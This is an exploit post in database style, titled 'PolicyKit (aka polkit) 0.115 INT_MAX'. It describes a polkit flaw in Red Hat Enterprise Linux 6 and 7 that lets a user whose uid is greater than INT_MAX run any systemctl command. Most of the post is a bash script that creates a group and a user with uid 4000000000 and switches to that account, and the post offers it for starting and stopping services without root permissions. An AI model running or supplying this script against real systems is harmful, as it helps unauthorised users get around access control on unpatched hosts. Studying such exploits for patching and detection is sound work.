####################################################################
# Exploit Title : PolicyKit (aka polkit) 0.115 INT_MAX
#Author : MSS Team
#Tested On : Linux
####################################################################
#A flaw was found in PolicyKit (aka polkit) 0.115 that allows a user with a uid greater than INT_MAX to successfully execute any systemctl #command.
#This issue affects the versions of polkit as shipped with Red Hat Enterprise Linux 6 and 7.
#Red Hat Enterprise Linux 6 is now in Maintenance Support 2 Phase of the support and maintenance life cycle.
#You can use this simple code then you can start,stop,restart,ETC without root permissions
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "You must be a root user" 2>&1
exit 1
else
groupadd -g 4000000000 cve201819788
useradd -m -c "User With High UID" -u 4000000000 -g 4000000000 -s /bin/bash cve201819788
id cve201819788
su cve201819788 -
fi